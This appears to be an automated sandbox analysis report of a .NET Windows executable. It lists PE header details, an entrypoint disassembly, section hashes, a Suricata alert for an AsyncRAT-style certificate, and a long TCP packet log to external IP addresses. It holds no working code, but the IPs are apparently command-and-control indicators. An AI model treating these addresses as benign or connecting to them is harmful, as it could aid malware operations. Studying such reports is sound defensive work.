DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6778044F [Fri Jan 3 15:37:51 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7de8	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8000	0x57e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x5e38	0x6000	209c320cd40e1081977ee08e6bed8a75	False	0.507568359375	data	5.6830361681553905	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x8000	0x57e	0x600	ba933dc11f614b448d59b20e0df9569f	False	0.419921875	data	4.046378908802311	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa000	0xc	0x200	f8fc6b4d2a42baf72ffb6180102cd58f	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x805c	0x2fc	data			0.43717277486910994
RT_MANIFEST	0x8394	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-09T18:57:13.558600+0100	2035595	ET MALWARE Generic AsyncRAT Style SSL Cert	1	193.187.91.218	50787	192.168.2.5	49710	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 18:56:53.790504932 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:53.790544033 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:53.790611029 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:53.801014900 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:53.801032066 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.505681038 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.505774975 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.509419918 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.509433031 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.509835958 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.552659988 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.595333099 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.731884956 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.731911898 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.731921911 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.732076883 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.732100964 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.781279087 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.819536924 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.819547892 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.819670916 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.819756985 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.819766998 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.819820881 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.820635080 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.820643902 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.820712090 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.821516991 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.821527004 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.821588039 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.860348940 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.860361099 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.860471010 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.911633015 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.911643028 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.911792994 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.912336111 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.912419081 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.913217068 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.913284063 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.913290024 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.913326025 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.913355112 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.913363934 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.914128065 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.914186954 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.914963007 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.915024996 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.948509932 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.948662043 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.949064016 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:54.949151039 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:54.999911070 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.000102043 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.000438929 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.000500917 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.000922918 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.000965118 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.000981092 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.000997066 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.001017094 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.001038074 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.001733065 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.001805067 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.001815081 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.001853943 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.001884937 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.001893997 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.002665997 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.002739906 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.003359079 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.003432035 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.003698111 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.003760099 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.004354000 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.004417896 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.007076979 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.007149935 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.037005901 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.037085056 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.037484884 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.037544012 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.037626982 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.037663937 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.037678003 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.037687063 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.037715912 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.037725925 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.088712931 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.088798046 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.088876963 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.088927984 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.089030981 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.089076042 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.089085102 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.089103937 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.089121103 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.089139938 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.089484930 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.089534998 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.089550972 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.089559078 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.089574099 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.089605093 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.089977026 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.090037107 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.090310097 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.090349913 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.090367079 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.090373993 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.090401888 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.090411901 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.091135025 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.091216087 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.091299057 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.091376066 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.091437101 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.091514111 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.125477076 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.125562906 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.125585079 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.125605106 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.125633001 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.125710011 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.125763893 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.125879049 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.126066923 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.126166105 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.176821947 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.176889896 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.176961899 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.176961899 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.176974058 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.177037001 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.177180052 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.177272081 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.177469015 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.177531958 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.177618027 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.177761078 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.177923918 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.177992105 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.178195000 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.178297997 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.178451061 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.178515911 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.178597927 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.178690910 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.178693056 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.178720951 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.178765059 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.178765059 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.182112932 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.182210922 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.182240009 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.182248116 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.182271004 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.183284044 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.213848114 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.213902950 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.214025021 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.214025021 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.214057922 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.214092970 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.214135885 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.214135885 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.214145899 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.214245081 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.214306116 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.214314938 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.214365005 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444205046 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444216967 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444255114 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444297075 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444315910 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444344044 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444360018 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444360018 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444370031 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444385052 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444411039 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444411039 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444421053 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444444895 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444459915 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444459915 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444468021 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444514036 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444514036 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444699049 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444775105 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444813967 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444818974 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.444849968 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444849968 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.444945097 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.445075035 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.445127010 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.445194960 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.445358992 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.445482016 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.445483923 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.445509911 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.445561886 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.445561886 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.445624113 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.445780993 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.445811987 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.445817947 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.445842028 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.445878029 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.445880890 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.445905924 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.445955038 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.445955038 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.446341991 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.446434975 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.446465969 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.446558952 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.446592093 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.446706057 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.446708918 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.446729898 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.446780920 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.446780920 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.446842909 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.446949005 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.447005033 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.447005033 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.447012901 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.447045088 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.447099924 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.447099924 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.447108030 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.447240114 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.447554111 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.447627068 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.447762012 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.447854042 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.447890043 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.448014975 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.448015928 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.448039055 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.448081970 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.448098898 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.448168993 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.448236942 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.448277950 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.448347092 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.448390961 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.448461056 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.448479891 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.448695898 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.448780060 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.448879004 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.448906898 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.448972940 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.449033022 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.449110031 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.449801922 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.449851036 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.449867010 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.449873924 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.449887037 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.449903965 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.449903965 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.449922085 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.449933052 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.449938059 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.449976921 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.450011015 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.450027943 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.450027943 CET	49704	443	192.168.2.5	209.58.149.225
Jan 9, 2025 18:56:55.450042963 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.450053930 CET	443	49704	209.58.149.225	192.168.2.5
Jan 9, 2025 18:56:55.450054884 CET	49704	443	192.168.2.5	209.58.149.225
